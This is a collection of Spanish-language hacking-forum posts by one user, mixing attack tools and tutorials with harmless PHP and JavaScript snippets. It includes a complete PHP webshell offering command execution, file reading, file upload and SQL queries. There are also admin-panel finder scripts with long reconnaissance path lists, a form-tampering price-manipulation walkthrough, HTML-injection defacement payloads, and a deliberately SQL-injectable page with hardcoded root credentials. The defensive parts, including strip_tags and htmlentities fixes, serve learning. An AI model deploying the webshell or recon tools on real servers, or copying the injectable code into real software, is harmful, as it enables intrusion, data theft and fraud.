"/phpMyAdmin-2.7.0/","/phpMyAdmin-2.8.0-beta1/","/phpMyAdmin-2.8.0-rc1/","/phpMyAdmin-2.8.0-rc2/",
"/phpMyAdmin-2.8.0/","/phpMyAdmin-2.8.0.1/","/phpMyAdmin-2.8.0.2/","/phpMyAdmin-2.8.0.3/",
"/phpMyAdmin-2.8.0.4/","/phpMyAdmin-2.8.1-rc1/","/phpMyAdmin-2.8.1/","/phpMyAdmin-2.8.2/",
"/phpMyAdmin-3.4.6-rc1/","/phpMyAdmin-3.4.5/","/phpMyAdmin-3.4.4/","/phpMyAdmin-3.3.10.4/",
"/phpMyAdmin-3.4.3.2/","/phpMyAdmin-3.3.10.3/","/phpMyAdmin-3.4.3.1/","/phpMyAdmin-3.4.3/",
"/phpMyAdmin-3.4.2/","/phpMyAdmin-3.4.1/","/phpMyAdmin-3.3.10.1/","/phpMyAdmin-3.4.0/","/phpMyAdmin-3.3.10/",
"/phpMyAdmin-2.1.0/","/phpMyAdmin-2.0.5/","/phpMyAdmin-1.3.0/","/phpMyAdmin-1.1.0/","/phpMyAdmin-3.3.9.2/",
"/phpMyAdmin-2.11.11.3/","/phpMyAdmin-3.3.9.1/","/phpMyAdmin-3.3.9/","/phpMyAdmin-3.3.8.1/",
"/phpMyAdmin-2.11.11.1/","/phpMyAdmin-3.3.8/","/phpMyAdmin-3.3.7/","/phpMyAdmin-2.11.11/",
"/phpMyAdmin-3.3.6/","/phpMyAdmin-3.3.5.1/","/phpMyAdmin-2.11.10.1/","/sqlmanager/","/mysqlmanager/","/p/m/a/",
"/PMA2005/","/pma2005/","/phpmanager/","/php-myadmin/","/phpmy-admin/","/webadmin/","/sqlweb/","/websql/",
"/webdb/","/mysqladmin/","/mysql-admin/");


$url = htmlentities($_POST['page'], ENT_QUOTES);

if(!empty($url)){

foreach($panel as $p){
$head = get_headers($url.$p);
if($head[0]=='HTTP/1.1 200 OK'){
echo "<div id='found'> <b>Found:</b>: $url$p </div>";
}
}
}

?>
<br>

<!--

Admin Panel Finder By 2Fac3R
v1.0 - 2013

-->

<b>Gr33tz to:</b> <br>

xt3mp, arcangel_nigth, ANTRAX, 11Sep, Kr34t0r, GAMARRA, SkippyCreammy, v1c0_h4ck, w4rning, etc, etc . <br>
<br>
<a href="http://www.underc0de.org">Underc0de</a>



PD: Recopilé el array con los paths de distintos lugares.

Es un típico código, pero bastante útil ;)
Zalu2
#22
Debido a una pregunta que me han hecho sobre los logs de apache, php y demás, me pidieron la posibilidad de tener un archivo de logs propio (para mayor comodidad) y para ciertos archivos, así que bueno le recomendé la posibilidad de usar la función No tienes permitido ver los links. Registrarse o Entrar a mi cuenta de PHP e hize este pequeña función para uso:

Código: PHP

function ErrorLog(){
error_log(mysql_error()."\t IN: ".__FILE__."\n\n",3,'/var/www/error.txt');
}


la cual la podemos implementar de la siguiente manera:

vulnerable.php
Código: PHP

<?php
function ErrorLog(){
error_log(mysql_error()."\t IN: ".__FILE__."\n\n",3,'/var/www/error.txt');
}
$id = $_GET['id'];
if(!empty($id)){
$conexion = mysql_connect ("127.0.0.1","root","toor");
   mysql_select_db("test", $conexion);
$result = mysql_query ("SELECT * FROM noticias WHERE id=$_GET[id]", $conexion) or die(mysql_error().ErrorLog());
$row = mysql_fetch_array($result);
   echo "<h1>Titulo: $row[titulo]</h1>\n";
   echo "<p><b>Noticia: </b> $row[detalle]</p>\n";
   echo "<i><b>Por: </b>$row[autor]</i>";
} else {
    echo "Pagina no encontrada.";
}
?>



Y así es como lo podemos implementar, y aparte de los logs de apache y php podemos tener uno personalizado con un poco de php, cualquier duda, sugerencia, critica es bienvenida.
Zalu2
#23
Back-end / Php-backdoor [Incluido en BackTrack]
Diciembre 28, 2012, 02:32:38 AM
Últimamente me he dedicado a estudiar algunas webshells en mis tiempos libres y me encontré con esta que es bastante simple y útil, viene entre las herramientas de backtrack con muchas otras más en javascript entre otras cosas.

Código: php

<?php
// a simple php backdoor | coded by z0mbie [30.08.03] | http://freenet.am/~zombie \\

ob_implicit_flush();
if(isset($_REQUEST['f'])){
        $filename=$_REQUEST['f'];
        $file=fopen("$filename","rb");
        fpassthru($file);
        die;
}
if(isset($_REQUEST['d'])){
        $d=$_REQUEST['d'];
        echo "<pre>";
        if ($handle = opendir("$d")) {
        echo "<h2>listing of $d</h2>";
                   while ($dir = readdir($handle)){
                       if (is_dir("$d/$dir")) echo "<a href='$PHP_SELF?d=$d/$dir'><font color=grey>";
                            else echo "<a href='$PHP_SELF?f=$d/$dir'><font color=black>";
                       echo "$dir\n";
                       echo "</font></a>";
                }
                       
        } else echo "opendir() failed";
        closedir($handle);
        die ("<hr>");
}
if(isset($_REQUEST['c'])){
    echo "<pre>";
    system($_REQUEST['c']);           
    die;
}
if(isset($_REQUEST['upload'])){

        if(!isset($_REQUEST['dir'])) die('hey,specify directory!');
            else $dir=$_REQUEST['dir'];
        $fname=$HTTP_POST_FILES['file_name']['name'];
        if(!move_uploaded_file($HTTP_POST_FILES['file_name']['tmp_name'], $dir.$fname))
            die('file uploading error.');
}
if(isset($_REQUEST['mquery'])){
   
    $host=$_REQUEST['host'];
    $usr=$_REQUEST['usr'];
    $passwd=$_REQUEST['passwd'];
    $db=$_REQUEST['db'];
    $mquery=$_REQUEST['mquery'];
    mysql_connect("$host", "$usr", "$passwd") or
    die("Could not connect: " . mysql_error());
    mysql_select_db("$db");
    $result = mysql_query("$mquery");
    if($result!=FALSE) echo "<pre><h2>query was executed correctly</h2>\n";
    while ($row = mysql_fetch_array($result,MYSQL_ASSOC)) print_r($row); 
    mysql_free_result($result);
    die;
}
?>
<pre><form action="<? echo $PHP_SELF; ?>" METHOD=GET >execute command: <input type="text" name="c"><input type="submit" value="go"><hr></form>
<form enctype="multipart/form-data" action="<?php echo $PHP_SELF; ?>" method="post"><input type="hidden" name="MAX_FILE_SIZE" value="1000000000">
upload file:<input name="file_name" type="file">   to dir: <input type="text" name="dir">&nbsp;&nbsp;<input type="submit" name="upload" value="upload"></form>
<hr>to browse go to http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=[directory here]
<br>for example:
http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=/etc on *nix
or http://<? echo $SERVER_NAME.$REQUEST_URI; ?>?d=c:/windows on win
<hr>execute mysql query:
<form action="<? echo $PHP_SELF; ?>" METHOD=GET >
host:<input type="text" name="host"value="localhost">  user: <input type="text" name="usr" value=root> password: <input type="text" name="passwd">

database: <input type="text" name="db">  query: <input type="text" name="mquery"> <input type="submit" value="execute">
</form>

<!--    http://michaeldaw.org    2006     -->

Espero les sea de utilidad.
Zalu2
#24
Bugs y Exploits / Form-Tampering PoC
Diciembre 28, 2012, 02:30:52 AM
Siguiendo con la práctica y los POC que he estado realizando, me doy cuenta que en esta sección, una de las cosas que falta es este bug llamado "Form Tampering", ya hay bastante información sobre XSS, SQLi, webshells, etc, etc. Así que empecemos.

FORM TAMPERING
Este metodo consiste en modificar los datos "ocultos" del formulario que use la web victima para algun beneficio, en este ejemplo, veremos un simple (bastante sencillo xD) ejemplo sobre un "carrito de compra", para modificar los precios de los productos.

código php
Código: php

<?php
// Form tampering bug PoC
$presupuesto = 100;
$compra = strip_tags($_POST['producto']);
function correcto(){
    global $compra;
    echo "Felicidades $compra comprado correctamente";
}
if(isset($_POST['producto']) && !empty($_POST['producto'])){
    if($presupuesto >= $_POST['v_botella']){
        correcto();
    }else if ($presupuesto >= $_POST['v_cervesa']){
        correcto();
    }else{
        echo "Lo sentimos, no tienes los fondos suficientes";
    }
}else{
    if(isset($_POST['send'])){
        die("Debes seleccionar un producto");
    }
    echo "Tu presupuesto es : $presupuesto";
?>
<form action="" method="POST">
    <select name="producto">
        <option value="Botella"> Botella </option>
        <option value="Cerveza"> Cervesa </option>
    </select>
    <input type="hidden" name="v_botella" value="500">
    <input type="hidden" name="v_cervesa" value="200">
    <input type="submit" name="send" value="Comprar!">
</form>
<?}?>

Como podemos observar, tenemos los precios de los productos en un atributo "hidden". Bien, ¿Cómo podemos aprovecharnos de eso?.


MODIFICANDO CABECERAS HTTP

Lo que vamos a hacer, es "sniffear" lo que nuestro navegador manda al servidor (cabeceras http), vamos a hacer esto con el http live headers (Add-on de Firefox). Despues de instalarlo en nuestro navegador, vamos a la página donde tenemos alojado nuestro PoC y abrimos el add-on, hacemos una petición simplemente "tratando" de comprar un producto y nos damos cuenta que en el live headers nos ha salido la petición http que hemos hecho.

Algo así:

Citar
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Referer: No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Content-Type: application/x-www-form-urlencoded
Content-Length: 60

Y:
Citarproducto=Botella&v_botella=500&v_cervesa=200&send=Comprar%21

Ahora vemos que podemos modificar los valores de los productos, cambiamos a 0 y le damos a repetir/replay

Citarproducto=Botella&v_botella=00&v_cervesa=00&send=Comprar%21

Y vuala!  8) , hemos comprado el producto   ;D

Espero les sea de ayuda, cualquier duda, comentario y/o sugerencia publiquen aquí mismo.
Zalu2
#25
Bienvenidos a este nuevo tutorial, soy 2Fac3R y en este tutorial se mostrara informacion sobre el bug HTML injection (ya muy conocido, así que esto es para novatos!)

CONOCIMIENTOS BASICOS:

- Saber montar un servidor local de pruebas
- Conocer lo basico de HTML, PHP y MySQL


¿En que consiste el HTMLi?

El fallo consiste en la inyecciòn de codigo HTML/JS en una web, el fallo se da cuando un webmaster pide al usuario que ingrese algun valor, y el usuario (atacante) inyecta codigo malicioso (HTML injection) lo cual hace que ese codigo sea mostrado en el website del webmaster.


Vamos a crear un ejemplo de codigo que se ejecuta pidiendole al usuario:

Código: php
<html>
<head>
<title> HTMLi Tester By 2Fac3R </title>
<body bgcolor="black" text="green" link="white">
<?php
//Se recibe la llamada por $_GET
$inj = $_GET['inj'];
//Sí la variable contiene algo, muestra el contenido
if(isset($inj))
{
echo $inj;
}else{
//Sino Nos da un link que nos direcciona a donde ponemos la inyeccion (el sitio de el GET por URL)
echo '<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>
</body>
</html>

Como vemos, si inyectamos codigo cualquiera el navegador lo ejecutara y mostrara nuestro mensaje, vamos a la pagina, en mi caso lo hago desde localhost asi que queda asi:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

Al ejecutarlo nos aparece la imagen con el link de "inyectar!" que hemos puesto en el "else".

Vamos y nos da un :

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


INYECTANDO CODIGO:


¿Como sabemos si la web es vulnerable?, lo que hay que hacer es probar codigo HTML para ver si se ejecuta, por lo tanto si
ponemos:

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<h1>2Fac3R

Nos saltaria "2Fac3R" en un encabezado (<h1>), con esto nos damos cuenta que lo que pongamos en la variable "inj" en la URL ($_GET) no lo ejecutaria el navegador...


JUGANDO CON LAS INYECCIONES:

Como sabemos, para jugar con las inyecciones y entretenernos un rato, podemos hacer uso de diferentes tipos de etiquetas dependiendo el dominio que tengamos sobre HTML, por ejemplo:


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<b>0wn3dD By 2Fac3R<p>Este es un defacement<br>por HTMLi

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<s>0wn3dD</s> By <h1>2Fac3R</h1>Este es un defacement<br><font color="RED">por HTMLi</font>

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta<font size ="10" color="red"><marquee>0wn3DD By 2Fac3R</marquee></font>

Y asi dependiendo de la imaginación de cada quien ;)

Pero en este caso hay algo que no nos gusta, los codigos solo los veremos nosotros en nuestro navegador, ya que no se esta ejecutando del lado del servidor, asi que no seria muy util para hacer algo serio, a menos que usaramos ing. Social para que alguien mas (web-admin) lo ejecute (por lo regular seria un XSS, para robar cookies) y asi hacernos de algo o simplemente que vea nuestra hermosa inyeccion xDD.


GUESTBOOK´S, Y APLICACIONES VULNERABLES:

En muchos sitios encontramos con los famosos "libros de visitas" el cual tiene la finalidad de que el usuario comente sobre la web, ponga sus experiencias, criticas, opiniones, etc. Es aqui donde se utiliza mas el HTMLi, el usuario puede agregar lo que quiera y por lo tanto ese mensaje quedara guardado en la base de datos del website para despues mostrarse, y asi es como tendriamos oportunidad de injectar codigo y que se ejecute en el navegador de los usuarios cuando visiten esa aplicación

Nota: No solo con libros de visitas podemos injectar codigo, sino con cualquier aplicación web que no filtre esos datos y que los muestre despues.


En el ejemplo que hemos visto, mostramos la forma por $_GET ya que es mas comodo inyectar mediante la URL, ahora veamos un codigo de ejemplo por POST, el cual funciona por un Formulario:

Código: php
<html>
<head>
<title> HTMLi Tester ($_POST)</title>
<body bgcolor="black" text="green">
<?php
$snd = $_POST['send'];
$it = $_POST['inj'];
if(isset($snd))
{
//Mostramos en pantalla el contenido que viene del Formulario
echo $it;
}else{
echo '
<form action="" method="POST">
<input type="text" name="inj">
<input type="submit" name="send" value="Inyectar!">
</form>
';
}
?>
</body>
</html>


Nos damos cuenta que realmente es lo mismo, solo que inyectamos el codigo mediante un formulario y por $_POST, asi que para que sea realmente vulnerable y util, ya que este tutorial pretende ser muy practico y con muchos ejemplos, veamos un codigo de un Guestbook codeado por mi usando HTML, PHP y MySQL, logicamente no contiene la seguridad que deberia:

guestbook.php

Código: php
<?php
$serv = "localhost";
$user = "root";
$pass = "root";
$db = "prueba";
if(isset($_POST['send']))
{
$conexion=mysql_connect($serv,$user,$pass);
mysql_select_db($db,$conexion) or die ("Error en la seleccion de la bd".mysql_error());
mysql_query("INSERT INTO comentarios(Autor,Titulo,Mensaje)
              VALUES ('".$_REQUEST['Autor']."','".$_REQUEST['Titulo']."','".$_REQUEST['Mensaje']."')", $conexion)
   or die ("Error en la query".mysql_error());
mysql_close($conexion);
echo "Se ha publicado correctamente";
   }else{
        echo '
<form action="" method="POST">
<b> Autor: <input type="text" name="Autor"> <br>
Titulo: <input type="text" name="Titulo"> <br> <br>
Mensaje: </b><br><TEXTAREA name="Mensaje" cols="100" rows="10"> </TEXTAREA> <br>
<input type="submit" name="send" value="Publicar!">
</form>
';
}

?>


Logicamente no se explicara el codigo (se supone que ya lo entiendes xD), veamos el codigo que ha creado el webmaster del sitio para ver el contenido de lo que se publica, logicamente lo puede ver desde la bd pero por X razon existe el code:

Código: php
<?php
# Reemplazar por tus datos:
$serv = "localhost";
$user = "root";
$pass = "root";
$db = "prueba";
#...............................
$conexion=mysql_connect($serv, $user, $pass) or die("Problemas en la conexion");
# Se selecciona la bd
mysql_select_db($db,$conexion) or die("Problemas en la selección de la base de datos");
# Se seleccionan las columnas a trabajar
$comments=mysql_query("SELECT * FROM comentarios",$conexion) or die("Problemas en el select:".mysql_error());
# Se mete en la variable la llamada a la sql anterior
# Se crea un bucle a trabajar en cada vuelta de datos que encuentre    
while ($dat=mysql_fetch_array($comments))
{
  echo "<b> Autor :</b>".$dat['Autor']."<br>";
  echo "<b> Titulo : </b>".$dat['Titulo']."<br>";
  echo "<b> Mensaje : </b>".$dat['Mensaje']."<br>";
  echo "---------------------------------------------<br>";
}
# Cerramos la conexion...
mysql_close($conexion);
?>



Ahi comente el codigo (por si no se entiende del todo), con esto vemos que imprime directamente el contenido de la bd, por lo tanto si nosotros metieramos codigo malicioso, nos lo mostraria en pantalla sin ningun filtro, con esto podriamos hacer un HTMLi o incluso un XSS.


SECURIZANDO NUESTRO WEBSITE:

Todo esto puede ser muy lindo, el estar dandole dolores de cabeza al webmaster, pero que pasaria si nos lo hacen a nosotros no seria muy bonito ahora. Veamos como hacer que nuestro sitio no nos hagan estas inyecciones de codigo (HTML, XSS...)

Opciones:

strip_tags() = Elimina las etiquetas
ejemplo:

<h1>0wnN3D</h1> Nos daria: 0wnN3D (simplemente)

Código: php
<html>
<head>
<title> HTMLi Tester By 2Fac3R (parcheado) </title>
<body bgcolor="black" text="green" link="white">
<?php
$inj = $_GET['inj'];
if(isset($inj))
{
echo strip_tags($inj);
}else{
echo '<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>
</body>
</html>


htmlentities() = Obtiene las etiquetas de la inyeccion pero no las ejecuta
ejemplo:
<h1>0wnN3D</h1> Nos daria: <h1>0wnN3D</h1> (pero no ejecutaria el codigo)

Código: php
<html>
<head>
<title> HTMLi Tester By 2Fac3R (parcheado) </title>
<body bgcolor="black" text="green" link="white">
<?php
$inj = $_GET['inj'];
if(isset($inj))
{
echo htmlentities($inj)
}else{
echo '<a href="http://127.0.0.1/htmli.php?inj=">Inyectar!</a>';
}
?>
</body>
</html>

La opcion que ustedes eligan pues ya depende del caso.
Creo que el contenido del manual se ha explicado correctamente, por lo tanto creo que aqui termina.
Recuerda que esto es para practicar en casa y APRENDER, no para dañar a cada website que te encuentres vulnerable.

COPYRIGHT:

It has Written By 2Fac3R FOR No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

#####################################
##                                                                          ##
# Destribución libre, respetando el autor y dedicatoria.  #
##                                                                           ##
######################################
#26
Back-end / ¿Cuántos dias tengo de vida?
Diciembre 23, 2012, 12:58:42 AM
Me he puesto a revisar unos códigos que tenía y se me ocurrió hacer algo para saber cuántos dias tengo de vida xDD, entre aburrimiento, curiosidad y algo de pensar hice el siguiente code:


Código: php
<?php
# Remplaza por tus datos
$year = ;
$mes = ;
$dia = ;
# .......................
$nacimiento = mktime(0,0,0,$mes,$dia,$year);
$hoy = time();
$resta = $hoy - $nacimiento;
$total = round($resta/86400);
echo "Tienes $total d&iacute;as de vida";
?>



Este tipo de códigos nos sirven no solo para saber cuántos dias tenemos de vida, pueden ser imaginativos y usarlo para diferentes fines.
#27
Esta es la versión simple con la que empezó el proyecto antes de que se hiciera más complejo, es bastante útil si necesitan tener resultados automáticos y rápidos de forma automatizada con javascript  ;D

Código: javascript
<script>
/*
    Funciones Matemáticas [JS] By 2Fac3R
*/
if(valor = parseInt(prompt("Ingresa el valor de X"))){ // obtenemos el valor y lo hacemos entero
    document.write('<table border="1"><th><b>X</b></th> <th><b>Y</b></th>');
    for(i=0;i<6;i++){    // Nos mostrara 6 resultados
        fun = valor*13;  // Aqui la función matemática
        document.write("<tr><td>"+valor.toFixed(1)+"</td><td>"+fun.toFixed(1)+"</td></tr>");
        valor = valor + 0.1; // le sumamos decimales
    }
    document.write("</table>");
}else{ // Si el valor no es numerico
    alert("Ingrese un valor numerico");
    document.write("Ningun valor fue ingresado, <a href='funcmate2.html'>Regresar!</a>");
}
</script>



Espero les sea de utilidad.
Zalu2
#28
Back-end / Resolver funciones matemáticas By 2Fac3R
Diciembre 23, 2012, 12:54:15 AM
Despues de haberlo probado en javascript, me dieron ganas de hacerlo en php, hace que aquí les dejo el código viejo xD del php que hice.


Código: php
<?php
/*
    Resolver funciones matemáticas By 2Fac3R
*/
$valor = (int)$_POST['valor'];  // Valor de X
$limite = (int)$_POST['res'];    // Numero de veces a mostrar resultados
$send = $_POST['send']; // Variable del envio
if(isset($send) && !empty($valor)&&($limite)){ // Comprobamos que se hayan ingresado datos
        echo '
            <table border="1">
            <th>X</th><th>Y</th>
            ';
        for($i=0;$i<$limite;$i++){ // Creando la tabla...
            $func = $valor*13; // Aqui iría la funcion
            $valor = $valor+0.1; // Le sumamos 0.1 en cada iteraccion
            echo '<tr><td>'.$valor.'</td><td>'.$func.'</td></tr>
            ';
            }
            echo '</table><br>';

}else{ // Sino que muestre el formulario
?>
<form action="" method="POST">
    Ingresa el valor de X: <input type="text" name="valor" size="4" maxlength="5" title="Maximo 5 caracteres"> <br>
    Cuantos resultados deseas mostrar? <input type="text" name="res" size="5" maxlength="5" title="Maximo 99999 resultados"> <br>
    <input type="submit" name="send" value="Test!">
</form>
<?
}
?>



Dudas, sugerencias, criticas, etc... Son bienvenidas..
Zalu2
#29
En esta ocasión me he decidido a publicar este "proyecto" que hice en colaboración con un amigo, hace ya bastante tiempo, creo que es muy útil para aquellos que les gusten las matemáticas y/o necesiten de un sistema automatizado para resolver funciones matemáticas de una forma fácil y rápida.

Lo que hace la tool es tabular los resultados en una tabla, el valor de X (en aumento) y el resultado (Y) basado en la función que le agreguemos en el código.

La desventaja es que hay que tener conocimientos básicos de funciones de javascript para manejar variables matemáticas.


Código: JavaScript
<!--
     RESOLVER FUNCIONES MATEMÁTICAS BY SkippyCreammy & 2Fac3R
-->
<input type="button" value="Click aqui para agregar el valor de X" onclick="fun()">
<script>
    function fun() {
        var x = (prompt("Valor inicial de X:"));
        if(isNaN(x)||x>10||x<-20) { //Si X no es un numero o es mayor a 10 y -20
            alert("X debe ser un numero entre -20 y 10")
            fun();
            } else {
        if( x.charAt(0) == "-" ) { //Si x es negativo
            x = x.substring(1,x.length); // quitarle el signo "-"
            if(x.indexOf(".") == true) { // si son decimales
                x = "-"+x;
                decimales(x);
                } else { //si son enteros
                x = "-"+x;
                enteros(x);
                }
            } else { //Si x es positivo
            if(x.indexOf(".") == true) { // y con decimales
                decimales(x);
                } else { // si x es entero
                enteros(x);
                }
            }
        }
    }

        function decimales(x) {
        document.write("<table border='1'><th>X</th><th>Y</th>");
            x = parseFloat(x); //pasamos x a numeros con decimales
            limit = x + parseFloat(1.0); //agregamos el valor final de x
                while(x<limit) {
                resul = ((Math.pow(x,2))) + (5 * x) - 2;
                document.write("<tr><td>"+x.toFixed(1)+"</td><td>"+resul.toFixed(1)+"</td></tr>");
                x += parseFloat(0.1);
                if (x>limit) {
                    break;
                    }
                }
            document.write("</table>");
            }

        function enteros(x) {
        document.write("<table border='1'><th>X</th><th>Y</th>");
        x = parseInt(x); //pasamos x a enteros
        limit = x + parseInt(10); //agregamos el valor final de x
        for(x;x<=limit;x++) {
            resul = ((Math.pow(x,2))) + (5 * x) - 2;
            document.write("<tr><td>"+x+"</td><td>"+resul+"</td></tr>");
            if (x>limit) {
                break;
                }
            }
        document.write("</table>");
            }
</script>



Espero les sea de utilidad para las tareas, como nos fue a nosotros xD.
Zalu2
#30
Back-end / Escritura estilo facebook automatizada xD
Diciembre 23, 2012, 12:49:50 AM
Sigo probando códigos (esperando un amigo para irme a jugar ajedrez xD) y mirando en Facebook, la red social de moda hoy en dia se me ocurrio hacer un código que automatizara la forma rara de escribir que tiene la gente en este tipo de redes sociales xD.


Código: php
<?php
/*
    Escritura estilo facebook automatizado xDD
        By 2Fac3R
*/
$abc = array('a','b','c','d','e','f','g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v','w','x','y','z');
$replace = array('4','8','c','d','3','f','6','h','1','j','k','l','m','n','0','p','q','r','5','t','u','v','w','x','2');
$msj = 'Probando escritura estilo facebook'; // Tu mensaje aquí
echo str_replace($abc,$replace,$msj);
?>




Como verán, el código es bastante simple, y no myu útil, pero sirve de práctica xDD.
Zalu2
#31
Back-end / Caesar cipher By 2Fac3R
Diciembre 23, 2012, 12:45:58 AM
Les dejo un código que hize cuando estaba metido en los wargames y la cryptografia y que más que prácticar programando, el simple cifrado caesar.
Código: php

<style type="text/css" media="all">
    *{
        color:green;
       
        text-align:center;
    }
    .contenido{
        text-align:justify;
    }
</style>
<?php
$texto = $_POST['texto'];
$c_text = $_POST['ciphertext'];
$cifrar = $_POST['cifrar'];
$descifrar = $_POST['descifrar'];
$abc = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz';
$cada = $_POST['cada'];
function cifrar($abc,$cada,$texto,$opc){

    $partes = explode(' ',$texto);
        foreach($partes as $parte){
            for($i=0;$i < count($texto);$i++){
                $x = 0;
                while($x < strlen($parte)){
                    $found = strpos($abc,$parte{$x++});
                    echo $abc{$found+$cada};
                }
            echo " ";
            }
        }
}

function descifrar($abc,$cada,$c_text){
    $partes = explode(' ',$c_text);
        foreach($partes as $parte){
            for($i=0;$i < count($c_text);$i++){
                $x = 0;
                while($x < strlen($parte)){
                    $found = strpos($abc,$parte{$x++});
                    echo $abc{$found-$cada};
                }
            echo " ";
            }
        }
}

?>
<h1> Caesar cipher By 2Fac3R </h1>
<a href="http://es.wikipedia.org/wiki/Cifrado_C%C3%A9sar">
<img src="https://upload.wikimedia.org/wikipedia/commons/thumb/2/2b/Caesar3.svg/220px-Caesar3.svg.png" alt="cifrado caesar">
</img></a>
<br><br>
<form action="" method="POST">
<textarea name="texto" cols="80" rows="5" class="contenido"><?

    echo isset($descifrar)&&($cada) ? descifrar($abc,$cada,$c_text) : 'Encrypt';

?></textarea> <br>
<button type="submit" name="cifrar"> Cifrar </button>
<button type="submit" name="descifrar"> Descifrar </button> <br>
<textarea name="ciphertext" cols="80" rows="5" class="contenido"><?

    echo isset($cifrar)&&($cada) ? cifrar($abc,$cada,$texto,1) : 'Decrypt';

?></textarea> <br>
Salto :<input type="number" name="cada" size="1" maxlength="2" value="2"> <!-- 2 por defecto -->
</form>
El <i>cifrado C&eacute;sar</i> mueve cada letra un determinado n&uacute;mero de espacios en el alfabeto.
    Por ejemplo, con un desplazamiento de 3, la <b>A</b> seria sustituida por la <b>D</b> (situada 3 lugares a
    la derecha de la A ), la <b>B</b> seria reemplazada por la <b>E</b>, etc.<br>
     <a style="color:blue" href="http://es.wikipedia.org/wiki/Cifrado_C%C3%A9sar">Mas info!.</a>



Espero les sirva a alguien.
Zalu2
#32
Back-end / Admin Panel finder
Diciembre 23, 2012, 12:43:53 AM
Creo que un buscador de panel de administración es muy importante a la hora de ... ya saben ;) xD así que les dejo este que lo tengo desde hace mucho.


Código: php
<?php
set_time_limit(0);
error_reporting(0);
$list['front'] ="admin
adm
admincp
admcp
cp
modcp
moderatorcp
adminare
admins
cpanel
controlpanel";
$list['end'] = "admin1.php
admin1.html
admin2.php
admin2.html
yonetim.php
yonetim.html
yonetici.php
yonetici.html
ccms/
ccms/login.php
ccms/index.php
maintenance/
webmaster/
adm/
configuration/
configure/
websvn/
admin/
admin/account.php
admin/account.html
admin/index.php
admin/index.html
admin/login.php
admin/login.html
admin/home.php
admin/controlpanel.html
admin/controlpanel.php
admin.php
admin.html
admin/cp.php
admin/cp.html
cp.php
cp.html
administrator/
administrator/index.html
administrator/index.php
administrator/login.html
administrator/login.php
administrator/account.html
administrator/account.php
administrator.php
administrator.html
login.php
login.html
modelsearch/login.php
moderator.php
moderator.html
moderator/login.php
moderator/login.html
moderator/admin.php
moderator/admin.html
moderator/
account.php
account.html
controlpanel/
controlpanel.php
controlpanel.html
admincontrol.php
admincontrol.html
adminpanel.php
adminpanel.html
admin1.asp
admin2.asp
yonetim.asp
yonetici.asp
admin/account.asp
admin/index.asp
admin/login.asp
admin/home.asp
admin/controlpanel.asp
admin.asp
admin/cp.asp
cp.asp
administrator/index.asp
administrator/login.asp
administrator/account.asp
administrator.asp
login.asp
modelsearch/login.asp
moderator.asp
moderator/login.asp
moderator/admin.asp
account.asp
controlpanel.asp
admincontrol.asp
adminpanel.asp
fileadmin/
fileadmin.php
fileadmin.asp
fileadmin.html
administration/
administration.php
administration.html
sysadmin.php
sysadmin.html
phpmyadmin/
myadmin/
sysadmin.asp
sysadmin/
ur-admin.asp
ur-admin.php
ur-admin.html
ur-admin/
Server.php
Server.html
Server.asp
Server/
wp-admin/
administr8.php
administr8.html
administr8/
administr8.asp
webadmin/
webadmin.php
webadmin.asp
webadmin.html
administratie/
admins/
admins.php
admins.asp
admins.html
administrivia/
Database_Administration/
WebAdmin/
useradmin/
sysadmins/
admin1/
system-administration/
administrators/
pgadmin/
directadmin/
staradmin/
ServerAdministrator/
SysAdmin/
administer/
LiveUser_Admin/
sys-admin/
typo3/
panel/
cpanel/
cPanel/
cpanel_file/
platz_login/
rcLogin/
blogindex/
formslogin/
autologin/
support_login/
meta_login/
manuallogin/
simpleLogin/
loginflat/
utility_login/
showlogin/
memlogin/
members/
login-redirect/
sub-login/
wp-login/
login1/
dir-login/
login_db/
xlogin/
smblogin/
customer_login/
UserLogin/
login-us/
acct_login/
admin_area/
bigadmin/
project-admins/
phppgadmin/
pureadmin/
sql-admin/
radmind/
openvpnadmin/
wizmysqladmin/
vadmind/
ezsqliteadmin/
hpwebjetadmin/
newsadmin/
adminpro/
Lotus_Domino_Admin/
bbadmin/
vmailadmin/
Indy_admin/
ccp14admin/
irc-macadmin/
banneradmin/
sshadmin/
phpldapadmin/
macadmin/
administratoraccounts/
admin4_account/
admin4_colon/
radmind-1/
Super-Admin/
AdminTools/
cmsadmin/
SysAdmin2/
globes_admin/
cadmins/
phpSQLiteAdmin/
navSiteAdmin/
server_admin_small/
logo_sysadmin/
server/
database_administration/
power_user/
system_administration/
ss_vms_admin_sm/
adminarea/
bb-admin/
adminLogin/
panel-administracion/
instadmin/
memberadmin/
administratorlogin/
admin/admin.php
admin_area/admin.php
admin_area/login.php
siteadmin/login.php
siteadmin/index.php
siteadmin/login.html
admin/admin.html
admin_area/index.php
bb-admin/index.php
bb-admin/login.php
bb-admin/admin.php
admin_area/login.html
admin_area/index.html
admincp/index.asp
admincp/login.asp
admincp/index.html
webadmin/index.html
webadmin/admin.html
webadmin/login.html
admin/admin_login.html
admin_login.html
panel-administracion/login.html
nsw/admin/login.php
webadmin/login.php
admin/admin_login.php
admin_login.php
admin_area/admin.html
pages/admin/admin-login.php
admin/admin-login.php
admin-login.php
bb-admin/index.html
bb-admin/login.html
bb-admin/admin.html
admin/home.html
pages/admin/admin-login.html
admin/admin-login.html
admin-login.html
admin/adminLogin.html
adminLogin.html
home.html
rcjakar/admin/login.php
adminarea/index.html
adminarea/admin.html
webadmin/index.php
webadmin/admin.php
user.html
